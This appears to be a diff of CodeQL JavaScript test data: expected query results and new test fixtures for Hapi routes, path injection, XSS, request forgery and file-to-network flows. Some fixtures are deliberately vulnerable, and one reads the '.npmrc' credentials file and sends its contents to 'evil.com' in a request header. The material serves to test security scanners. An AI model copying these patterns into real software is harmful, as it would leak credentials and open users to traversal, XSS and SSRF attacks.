| src/hapi.js:13:32:13:38 | request | src/hapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapi.js:13:32:13:38 | request | src/hapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
@@ -38,12 +43,27 @@ test_RequestExpr
|
||||
| src/hapiglue.js:27:3:27:9 | request | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
|
||||
| src/hapiglue.js:28:3:28:9 | request | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
|
||||
| src/hapiglue.js:36:22:36:24 | req | src/hapiglue.js:36:12:36:33 | functio ... hapi){} |
|
||||
| src/hapihapi.js:13:32:13:38 | request | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapihapi.js:13:32:13:38 | request | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapihapi.js:14:9:14:15 | request | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapihapi.js:17:48:17:54 | request | src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} |
|
||||
| src/hapihapi.js:20:19:20:25 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:20:19:20:25 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:21:3:21:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:22:3:22:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:23:3:23:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:24:3:24:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:25:3:25:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:26:3:26:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:34:22:34:24 | req | src/hapihapi.js:34:12:34:30 | function (req, h){} |
|
||||
test_HeaderAccess
|
||||
| src/hapi.js:25:3:25:21 | request.headers.baz | baz |
|
||||
| src/hapiglue.js:27:3:27:21 | request.headers.baz | baz |
|
||||
| src/hapihapi.js:25:3:25:21 | request.headers.baz | baz |
|
||||
test_ResponseExpr
|
||||
| src/hapi.js:14:9:14:24 | request.response | src/hapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapiglue.js:14:9:14:24 | request.response | src/hapiglue.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapihapi.js:14:9:14:24 | request.response | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
test_RouteHandler
|
||||
| src/hapi.js:6:1:6:21 | functio ... er1(){} | src/hapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapi.js:13:14:15:5 | functio ... n\\n } | src/hapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
@@ -55,9 +75,15 @@ test_RouteHandler
|
||||
| src/hapiglue.js:17:30:18:1 | functio ... ndler\\n} | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
|
||||
| src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
|
||||
| src/hapiglue.js:36:12:36:33 | functio ... hapi){} | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
|
||||
| src/hapihapi.js:6:1:6:21 | functio ... er1(){} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapihapi.js:34:12:34:30 | function (req, h){} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
test_HeaderDefinition
|
||||
| src/hapi.js:14:9:14:46 | request ... 1', '') | src/hapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapiglue.js:14:9:14:46 | request ... 1', '') | src/hapiglue.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapihapi.js:14:9:14:46 | request ... 1', '') | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
test_ServerDefinition
|
||||
| src/hapi.js:1:15:1:44 | new (re ... erver() |
|
||||
| src/hapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
@@ -65,6 +91,8 @@ test_ServerDefinition
|
||||
| src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
|
||||
| src/hapiglue.js:43:19:43:24 | server |
|
||||
| src/hapiglue.js:44:45:44:51 | server_ |
|
||||
| src/hapihapi.js:1:15:1:50 | new (re ... erver() |
|
||||
| src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
test_RequestInputAccess
|
||||
| src/hapi.js:21:3:21:20 | request.rawPayload | body | src/hapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapi.js:22:3:22:21 | request.payload.foo | body | src/hapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
@@ -80,6 +108,12 @@ test_RequestInputAccess
|
||||
| src/hapiglue.js:26:3:26:20 | request.url.origin | url | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
|
||||
| src/hapiglue.js:27:3:27:21 | request.headers.baz | header | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
|
||||
| src/hapiglue.js:28:3:28:21 | request.state.token | cookie | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:21:3:21:20 | request.rawPayload | body | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:22:3:22:21 | request.payload.foo | body | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:23:3:23:19 | request.query.bar | parameter | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:24:3:24:18 | request.url.path | url | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:25:3:25:21 | request.headers.baz | header | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:26:3:26:21 | request.state.token | cookie | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
test_RouteSetup_getServer
|
||||
| src/hapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapi.js:12:1:15:7 | server2 ... }}) | src/hapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
@@ -91,9 +125,15 @@ test_RouteSetup_getServer
|
||||
| src/hapiglue.js:17:1:18:2 | server2 ... dler\\n}) | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
|
||||
| src/hapiglue.js:31:1:31:20 | server2.route(route) | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
|
||||
| src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
|
||||
| src/hapihapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapihapi.js:12:1:15:7 | server2 ... }}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapihapi.js:17:1:18:2 | server2 ... dler\\n}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapihapi.js:29:1:29:20 | server2.route(route) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
test_HeaderDefinition_defines
|
||||
| src/hapi.js:14:9:14:46 | request ... 1', '') | header1 | |
|
||||
| src/hapiglue.js:14:9:14:46 | request ... 1', '') | header1 | |
|
||||
| src/hapihapi.js:14:9:14:46 | request ... 1', '') | header1 | |
|
||||
test_RouteSetup_getARouteHandler
|
||||
| src/hapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapi.js:6:1:6:21 | functio ... er1(){} |
|
||||
| src/hapi.js:12:1:15:7 | server2 ... }}) | src/hapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
@@ -109,6 +149,13 @@ test_RouteSetup_getARouteHandler
|
||||
| src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:35:1:37:1 | return of function getHandler |
|
||||
| src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:36:12:36:33 | functio ... hapi){} |
|
||||
| src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:38:25:38:36 | getHandler() |
|
||||
| src/hapihapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapihapi.js:6:1:6:21 | functio ... er1(){} |
|
||||
| src/hapihapi.js:12:1:15:7 | server2 ... }}) | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapihapi.js:17:1:18:2 | server2 ... dler\\n}) | src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} |
|
||||
| src/hapihapi.js:29:1:29:20 | server2.route(route) | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:33:1:35:1 | return of function getHandler |
|
||||
| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:34:12:34:30 | function (req, h){} |
|
||||
| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:36:25:36:36 | getHandler() |
|
||||
test_RouteHandler_getARequestExpr
|
||||
| src/hapi.js:13:14:15:5 | functio ... n\\n } | src/hapi.js:13:32:13:38 | request |
|
||||
| src/hapi.js:13:14:15:5 | functio ... n\\n } | src/hapi.js:13:32:13:38 | request |
|
||||
@@ -138,9 +185,24 @@ test_RouteHandler_getARequestExpr
|
||||
| src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | src/hapiglue.js:27:3:27:9 | request |
|
||||
| src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | src/hapiglue.js:28:3:28:9 | request |
|
||||
| src/hapiglue.js:36:12:36:33 | functio ... hapi){} | src/hapiglue.js:36:22:36:24 | req |
|
||||
| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | src/hapihapi.js:13:32:13:38 | request |
|
||||
| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | src/hapihapi.js:13:32:13:38 | request |
|
||||
| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | src/hapihapi.js:14:9:14:15 | request |
|
||||
| src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} | src/hapihapi.js:17:48:17:54 | request |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:20:19:20:25 | request |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:20:19:20:25 | request |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:21:3:21:9 | request |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:22:3:22:9 | request |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:23:3:23:9 | request |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:24:3:24:9 | request |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:25:3:25:9 | request |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:26:3:26:9 | request |
|
||||
| src/hapihapi.js:34:12:34:30 | function (req, h){} | src/hapihapi.js:34:22:34:24 | req |
|
||||
test_HeaderDefinition_getAHeaderName
|
||||
| src/hapi.js:14:9:14:46 | request ... 1', '') | header1 |
|
||||
| src/hapiglue.js:14:9:14:46 | request ... 1', '') | header1 |
|
||||
| src/hapihapi.js:14:9:14:46 | request ... 1', '') | header1 |
|
||||
test_RouteHandler_getAResponseHeader
|
||||
| src/hapi.js:13:14:15:5 | functio ... n\\n } | header1 | src/hapi.js:14:9:14:46 | request ... 1', '') |
|
||||
| src/hapiglue.js:13:14:15:5 | functio ... n\\n } | header1 | src/hapiglue.js:14:9:14:46 | request ... 1', '') |
|
||||
| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | header1 | src/hapihapi.js:14:9:14:46 | request ... 1', '') |
|
||||
|
||||
@@ -51,6 +51,7 @@
|
||||
| express.js:8:20:8:32 | req.query.bar | express.js:8:20:8:32 | req.query.bar | express.js:8:20:8:32 | req.query.bar | This path depends on a $@. | express.js:8:20:8:32 | req.query.bar | user-provided value |
|
||||
| handlebars.js:11:32:11:39 | filePath | handlebars.js:29:46:29:60 | req.params.path | handlebars.js:11:32:11:39 | filePath | This path depends on a $@. | handlebars.js:29:46:29:60 | req.params.path | user-provided value |
|
||||
| handlebars.js:15:25:15:32 | filePath | handlebars.js:43:15:43:29 | req.params.path | handlebars.js:15:25:15:32 | filePath | This path depends on a $@. | handlebars.js:43:15:43:29 | req.params.path | user-provided value |
|
||||
| hapi.js:15:44:15:51 | filepath | hapi.js:14:30:14:51 | request ... ilepath | hapi.js:15:44:15:51 | filepath | This path depends on a $@. | hapi.js:14:30:14:51 | request ... ilepath | user-provided value |
|
||||
| normalizedPaths.js:13:19:13:22 | path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:13:19:13:22 | path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value |
|
||||
| normalizedPaths.js:14:19:14:29 | './' + path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:14:19:14:29 | './' + path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value |
|
||||
| normalizedPaths.js:15:19:15:38 | path + '/index.html' | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:15:19:15:38 | path + '/index.html' | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value |
|
||||
@@ -344,6 +345,8 @@ edges
|
||||
| handlebars.js:13:73:13:80 | filePath | handlebars.js:15:25:15:32 | filePath | provenance | |
|
||||
| handlebars.js:29:46:29:60 | req.params.path | handlebars.js:10:51:10:58 | filePath | provenance | |
|
||||
| handlebars.js:43:15:43:29 | req.params.path | handlebars.js:13:73:13:80 | filePath | provenance | |
|
||||
| hapi.js:14:19:14:51 | filepath | hapi.js:15:44:15:51 | filepath | provenance | |
|
||||
| hapi.js:14:30:14:51 | request ... ilepath | hapi.js:14:19:14:51 | filepath | provenance | |
|
||||
| normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:13:19:13:22 | path | provenance | |
|
||||
| normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:14:26:14:29 | path | provenance | |
|
||||
| normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:15:19:15:22 | path | provenance | |
|
||||
@@ -821,6 +824,9 @@ nodes
|
||||
| handlebars.js:15:25:15:32 | filePath | semmle.label | filePath |
|
||||
| handlebars.js:29:46:29:60 | req.params.path | semmle.label | req.params.path |
|
||||
| handlebars.js:43:15:43:29 | req.params.path | semmle.label | req.params.path |
|
||||
| hapi.js:14:19:14:51 | filepath | semmle.label | filepath |
|
||||
| hapi.js:14:30:14:51 | request ... ilepath | semmle.label | request ... ilepath |
|
||||
| hapi.js:15:44:15:51 | filepath | semmle.label | filepath |
|
||||
| normalizedPaths.js:11:7:11:27 | path | semmle.label | path |
|
||||
| normalizedPaths.js:11:14:11:27 | req.query.path | semmle.label | req.query.path |
|
||||
| normalizedPaths.js:13:19:13:22 | path | semmle.label | path |
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
const Hapi = require('@hapi/hapi');
|
||||
const fs = require('fs').promises;
|
||||
|
||||
(async () => {
|
||||
const server = Hapi.server({
|
||||
port: 3005,
|
||||
host: 'localhost'
|
||||
});
|
||||
|
||||
server.route({
|
||||
method: 'GET',
|
||||
path: '/hello',
|
||||
handler: async (request, h) => {
|
||||
const filepath = request.query.filepath; // $ Source
|
||||
const data = await fs.readFile(filepath, 'utf8'); // $ Alert
|
||||
const firstLine = data.split('\n')[0];
|
||||
return firstLine;
|
||||
}
|
||||
});
|
||||
|
||||
await server.start();
|
||||
})();
|
||||
@@ -1,4 +1,5 @@
|
||||
#select
|
||||
| interceptors.js:9:56:9:72 | userGeneratedHtml | interceptors.js:7:6:7:13 | response | interceptors.js:9:56:9:72 | userGeneratedHtml | Cross-site scripting vulnerability due to $@. | interceptors.js:7:6:7:13 | response | user-provided value |
|
||||
| test.jsx:27:29:27:32 | data | test.jsx:5:28:5:63 | fetch(" ... ntent") | test.jsx:27:29:27:32 | data | Cross-site scripting vulnerability due to $@. | test.jsx:5:28:5:63 | fetch(" ... ntent") | user-provided value |
|
||||
| test.ts:21:57:21:76 | response.description | test.ts:8:9:8:79 | this.#h ... query') | test.ts:21:57:21:76 | response.description | Cross-site scripting vulnerability due to $@. | test.ts:8:9:8:79 | this.#h ... query') | user-provided value |
|
||||
| test.ts:24:36:24:90 | `<h2>${ ... o}</p>` | test.ts:8:9:8:79 | this.#h ... query') | test.ts:24:36:24:90 | `<h2>${ ... o}</p>` | Cross-site scripting vulnerability due to $@. | test.ts:8:9:8:79 | this.#h ... query') | user-provided value |
|
||||
@@ -18,6 +19,9 @@
|
||||
| testUseQueries2.vue:40:10:40:23 | v-html=data3 | testUseQueries2.vue:12:28:12:41 | fetch("${id}") | testUseQueries2.vue:40:10:40:23 | v-html=data3 | Cross-site scripting vulnerability due to $@. | testUseQueries2.vue:12:28:12:41 | fetch("${id}") | user-provided value |
|
||||
| testUseQueries.vue:25:10:25:23 | v-html=data2 | testUseQueries.vue:11:36:11:49 | fetch("${id}") | testUseQueries.vue:25:10:25:23 | v-html=data2 | Cross-site scripting vulnerability due to $@. | testUseQueries.vue:11:36:11:49 | fetch("${id}") | user-provided value |
|
||||
edges
|
||||
| interceptors.js:7:6:7:13 | response | interceptors.js:8:35:8:42 | response | provenance | |
|
||||
| interceptors.js:8:15:8:47 | userGeneratedHtml | interceptors.js:9:56:9:72 | userGeneratedHtml | provenance | |
|
||||
| interceptors.js:8:35:8:42 | response | interceptors.js:8:15:8:47 | userGeneratedHtml | provenance | |
|
||||
| test.jsx:5:11:5:63 | response | test.jsx:6:24:6:31 | response | provenance | |
|
||||
| test.jsx:5:22:5:63 | await f ... ntent") | test.jsx:5:11:5:63 | response | provenance | |
|
||||
| test.jsx:5:28:5:63 | fetch(" ... ntent") | test.jsx:5:22:5:63 | await f ... ntent") | provenance | |
|
||||
@@ -96,6 +100,10 @@ edges
|
||||
| testUseQueries.vue:12:20:12:34 | response.json() | testUseQueries.vue:18:22:18:36 | results[0].data | provenance | |
|
||||
| testUseQueries.vue:18:22:18:36 | results[0].data | testUseQueries.vue:25:10:25:23 | v-html=data2 | provenance | |
|
||||
nodes
|
||||
| interceptors.js:7:6:7:13 | response | semmle.label | response |
|
||||
| interceptors.js:8:15:8:47 | userGeneratedHtml | semmle.label | userGeneratedHtml |
|
||||
| interceptors.js:8:35:8:42 | response | semmle.label | response |
|
||||
| interceptors.js:9:56:9:72 | userGeneratedHtml | semmle.label | userGeneratedHtml |
|
||||
| test.jsx:5:11:5:63 | response | semmle.label | response |
|
||||
| test.jsx:5:22:5:63 | await f ... ntent") | semmle.label | await f ... ntent") |
|
||||
| test.jsx:5:28:5:63 | fetch(" ... ntent") | semmle.label | fetch(" ... ntent") |
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
const express = require("express");
|
||||
const axios = require("axios");
|
||||
|
||||
const app = express();
|
||||
|
||||
axios.interceptors.response.use(
|
||||
(response) => { // $ Source
|
||||
const userGeneratedHtml = response.data;
|
||||
document.getElementById("content").innerHTML = userGeneratedHtml; // $ Alert
|
||||
return response;
|
||||
},
|
||||
(error) => {
|
||||
return Promise.reject(error);
|
||||
}
|
||||
);
|
||||
|
||||
app.post("/fetch", (req, res) => {
|
||||
const { url } = req.body;
|
||||
axios.get(url);
|
||||
});
|
||||
@@ -1,5 +1,6 @@
|
||||
#select
|
||||
| FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | Outbound network request depends on $@. | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | file data |
|
||||
| FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | file data |
|
||||
| bufferRead.js:32:21:32:28 | postData | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:32:21:32:28 | postData | Outbound network request depends on $@. | bufferRead.js:12:22:12:43 | new Buf ... s.size) | file data |
|
||||
| googlecompiler.js:37:18:37:26 | post_data | googlecompiler.js:43:54:43:57 | data | googlecompiler.js:37:18:37:26 | post_data | Outbound network request depends on $@. | googlecompiler.js:43:54:43:57 | data | file data |
|
||||
| readFileSync.js:25:18:25:18 | s | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | readFileSync.js:25:18:25:18 | s | Outbound network request depends on $@. | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | file data |
|
||||
@@ -13,6 +14,10 @@ edges
|
||||
| FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:4:5:4:47 | content | provenance | |
|
||||
| FileAccessToHttp.js:9:12:9:31 | { Referer: content } [Referer] | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | provenance | |
|
||||
| FileAccessToHttp.js:9:23:9:29 | content | FileAccessToHttp.js:9:12:9:31 | { Referer: content } [Referer] | provenance | |
|
||||
| FileAccessToHttp.js:16:11:16:56 | content | FileAccessToHttp.js:22:27:22:33 | content | provenance | |
|
||||
| FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:16:11:16:56 | content | provenance | |
|
||||
| FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | provenance | |
|
||||
| FileAccessToHttp.js:22:27:22:33 | content | FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | provenance | |
|
||||
| bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:21:13:26 | buffer | provenance | |
|
||||
| bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:32:13:37 | buffer | provenance | |
|
||||
| bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:12:13:12:43 | buffer | provenance | |
|
||||
@@ -64,6 +69,11 @@ nodes
|
||||
| FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | semmle.label | {\\n hos ... ent }\\n} |
|
||||
| FileAccessToHttp.js:9:12:9:31 | { Referer: content } [Referer] | semmle.label | { Referer: content } [Referer] |
|
||||
| FileAccessToHttp.js:9:23:9:29 | content | semmle.label | content |
|
||||
| FileAccessToHttp.js:16:11:16:56 | content | semmle.label | content |
|
||||
| FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | semmle.label | await f ... "utf8") |
|
||||
| FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | semmle.label | {\\n ... }\\n } |
|
||||
| FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | semmle.label | { Referer: content } [Referer] |
|
||||
| FileAccessToHttp.js:22:27:22:33 | content | semmle.label | content |
|
||||
| bufferRead.js:12:13:12:43 | buffer | semmle.label | buffer |
|
||||
| bufferRead.js:12:22:12:43 | new Buf ... s.size) | semmle.label | new Buf ... s.size) |
|
||||
| bufferRead.js:13:21:13:26 | buffer | semmle.label | buffer |
|
||||
|
||||
@@ -8,3 +8,21 @@ https.get({
|
||||
method: "GET",
|
||||
headers: { Referer: content }
|
||||
}, () => { }); // $ Alert[js/file-access-to-http]
|
||||
|
||||
const fsp = require("fs").promises;
|
||||
|
||||
(async function sendRequest() {
|
||||
try {
|
||||
const content = await fsp.readFile(".npmrc", "utf8"); // $ Source[js/file-access-to-http]
|
||||
|
||||
https.get({
|
||||
hostname: "evil.com",
|
||||
path: "/upload",
|
||||
method: "GET",
|
||||
headers: { Referer: content }
|
||||
}, () => { }); // $ Alert[js/file-access-to-http]
|
||||
|
||||
} catch (error) {
|
||||
console.error("Error reading file:", error);
|
||||
}
|
||||
})();
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
#select
|
||||
| apollo.serverSide.ts:8:39:8:64 | get(fil ... => {}) | apollo.serverSide.ts:7:36:7:44 | { files } | apollo.serverSide.ts:8:43:8:50 | file.url | The $@ of this request depends on a $@. | apollo.serverSide.ts:8:43:8:50 | file.url | URL | apollo.serverSide.ts:7:36:7:44 | { files } | user-provided value |
|
||||
| axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | axiosInterceptors.serverSide.js:19:21:19:28 | req.body | axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | The $@ of this request depends on a $@. | axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | endpoint | axiosInterceptors.serverSide.js:19:21:19:28 | req.body | user-provided value |
|
||||
| serverSide.js:18:5:18:20 | request(tainted) | serverSide.js:14:29:14:35 | req.url | serverSide.js:18:13:18:19 | tainted | The $@ of this request depends on a $@. | serverSide.js:18:13:18:19 | tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
|
||||
| serverSide.js:20:5:20:24 | request.get(tainted) | serverSide.js:14:29:14:35 | req.url | serverSide.js:20:17:20:23 | tainted | The $@ of this request depends on a $@. | serverSide.js:20:17:20:23 | tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
|
||||
| serverSide.js:24:5:24:20 | request(options) | serverSide.js:14:29:14:35 | req.url | serverSide.js:23:19:23:25 | tainted | The $@ of this request depends on a $@. | serverSide.js:23:19:23:25 | tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
|
||||
@@ -30,6 +31,11 @@ edges
|
||||
| apollo.serverSide.ts:8:13:8:17 | files | apollo.serverSide.ts:8:28:8:31 | file | provenance | |
|
||||
| apollo.serverSide.ts:8:28:8:31 | file | apollo.serverSide.ts:8:43:8:46 | file | provenance | |
|
||||
| apollo.serverSide.ts:8:43:8:46 | file | apollo.serverSide.ts:8:43:8:50 | file.url | provenance | |
|
||||
| axiosInterceptors.serverSide.js:19:11:19:17 | { url } | axiosInterceptors.serverSide.js:19:11:19:28 | url | provenance | |
|
||||
| axiosInterceptors.serverSide.js:19:11:19:28 | url | axiosInterceptors.serverSide.js:20:23:20:25 | url | provenance | |
|
||||
| axiosInterceptors.serverSide.js:19:21:19:28 | req.body | axiosInterceptors.serverSide.js:19:11:19:17 | { url } | provenance | |
|
||||
| axiosInterceptors.serverSide.js:20:5:20:25 | userProvidedUrl | axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | provenance | |
|
||||
| axiosInterceptors.serverSide.js:20:23:20:25 | url | axiosInterceptors.serverSide.js:20:5:20:25 | userProvidedUrl | provenance | |
|
||||
| serverSide.js:14:9:14:52 | tainted | serverSide.js:18:13:18:19 | tainted | provenance | |
|
||||
| serverSide.js:14:9:14:52 | tainted | serverSide.js:20:17:20:23 | tainted | provenance | |
|
||||
| serverSide.js:14:9:14:52 | tainted | serverSide.js:23:19:23:25 | tainted | provenance | |
|
||||
@@ -85,6 +91,12 @@ nodes
|
||||
| apollo.serverSide.ts:8:28:8:31 | file | semmle.label | file |
|
||||
| apollo.serverSide.ts:8:43:8:46 | file | semmle.label | file |
|
||||
| apollo.serverSide.ts:8:43:8:50 | file.url | semmle.label | file.url |
|
||||
| axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | semmle.label | userProvidedUrl |
|
||||
| axiosInterceptors.serverSide.js:19:11:19:17 | { url } | semmle.label | { url } |
|
||||
| axiosInterceptors.serverSide.js:19:11:19:28 | url | semmle.label | url |
|
||||
| axiosInterceptors.serverSide.js:19:21:19:28 | req.body | semmle.label | req.body |
|
||||
| axiosInterceptors.serverSide.js:20:5:20:25 | userProvidedUrl | semmle.label | userProvidedUrl |
|
||||
| axiosInterceptors.serverSide.js:20:23:20:25 | url | semmle.label | url |
|
||||
| serverSide.js:14:9:14:52 | tainted | semmle.label | tainted |
|
||||
| serverSide.js:14:19:14:42 | url.par ... , true) | semmle.label | url.par ... , true) |
|
||||
| serverSide.js:14:29:14:35 | req.url | semmle.label | req.url |
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
const express = require("express");
|
||||
const axios = require("axios");
|
||||
|
||||
const app = express();
|
||||
|
||||
let userProvidedUrl = "";
|
||||
|
||||
axios.interceptors.request.use(
|
||||
function (config) {
|
||||
if (userProvidedUrl) {
|
||||
config.url = userProvidedUrl; // $ Alert[js/request-forgery]
|
||||
}
|
||||
return config;
|
||||
},
|
||||
error => error
|
||||
);
|
||||
|
||||
app.post("/fetch", (req, res) => {
|
||||
const { url } = req.body; // $ Source[js/request-forgery]
|
||||
userProvidedUrl = url;
|
||||
axios.get("placeholder");
|
||||
});
|
||||
Reference in New Issue
